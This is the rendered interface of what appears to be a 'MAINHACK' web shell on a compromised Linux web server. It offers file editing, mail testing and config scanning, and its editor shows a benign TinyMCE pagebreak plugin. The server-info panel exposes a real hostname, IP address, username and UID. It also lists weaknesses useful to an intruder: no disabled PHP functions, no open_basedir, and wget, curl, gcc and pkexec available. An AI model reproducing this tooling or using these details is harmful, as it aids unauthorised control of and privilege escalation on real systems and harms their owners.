[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: plugin.js
(function () { var pagebreak = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.Env'); var getSeparatorHtml = function (editor) { return editor.getParam('pagebreak_separator', '<!-- pagebreak -->'); }; var shouldSplitBlock = function (editor) { return editor.getParam('pagebreak_split_block', false); }; var $_12u2b2i8jkmcdvnc = { getSeparatorHtml: getSeparatorHtml, shouldSplitBlock: shouldSplitBlock }; var getPageBreakClass = function () { return 'mce-pagebreak'; }; var getPlaceholderHtml = function () { return '<img src="' + global$1.transparentSrc + '" class="' + getPageBreakClass() + '" data-mce-resize="false" data-mce-placeholder />'; }; var setup = function (editor) { var separatorHtml = $_12u2b2i8jkmcdvnc.getSeparatorHtml(editor); var pageBreakSeparatorRegExp = new RegExp(separatorHtml.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g, function (a) { return '\\' + a; }), 'gi'); editor.on('BeforeSetContent', function (e) { e.content = e.content.replace(pageBreakSeparatorRegExp, getPlaceholderHtml()); }); editor.on('PreInit', function () { editor.serializer.addNodeFilter('img', function (nodes) { var i = nodes.length, node, className; while (i--) { node = nodes[i]; className = node.attr('class'); if (className && className.indexOf('mce-pagebreak') !== -1) { var parentNode = node.parent; if (editor.schema.getBlockElements()[parentNode.name] && $_12u2b2i8jkmcdvnc.shouldSplitBlock(editor)) { parentNode.type = 3; parentNode.value = separatorHtml; parentNode.raw = true; node.remove(); continue; } node.type = 3; node.value = separatorHtml; node.raw = true; } } }); }); }; var $_f9wt5ri6jkmcdvna = { setup: setup, getPlaceholderHtml: getPlaceholderHtml, getPageBreakClass: getPageBreakClass }; var register = function (editor) { editor.addCommand('mcePageBreak', function () { if (editor.settings.pagebreak_split_block) { editor.insertContent('<p>' + $_f9wt5ri6jkmcdvna.getPlaceholderHtml() + '</p>'); } else { editor.insertContent($_f9wt5ri6jkmcdvna.getPlaceholderHtml()); } }); }; var $_cz7jxxi5jkmcdvn9 = { register: register }; var setup$1 = function (editor) { editor.on('ResolveName', function (e) { if (e.target.nodeName === 'IMG' && editor.dom.hasClass(e.target, $_f9wt5ri6jkmcdvna.getPageBreakClass())) { e.name = 'pagebreak'; } }); }; var $_205hd8i9jkmcdvnc = { setup: setup$1 }; var register$1 = function (editor) { editor.addButton('pagebreak', { title: 'Page break', cmd: 'mcePageBreak' }); editor.addMenuItem('pagebreak', { text: 'Page break', icon: 'pagebreak', cmd: 'mcePageBreak', context: 'insert' }); }; var $_1wmgv0iajkmcdvnd = { register: register$1 }; global.add('pagebreak', function (editor) { $_cz7jxxi5jkmcdvn9.register(editor); $_1wmgv0iajkmcdvnd.register(editor); $_f9wt5ri6jkmcdvna.setup(editor); $_205hd8i9jkmcdvnc.setup(editor); }); function Plugin () { } return Plugin; }()); })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002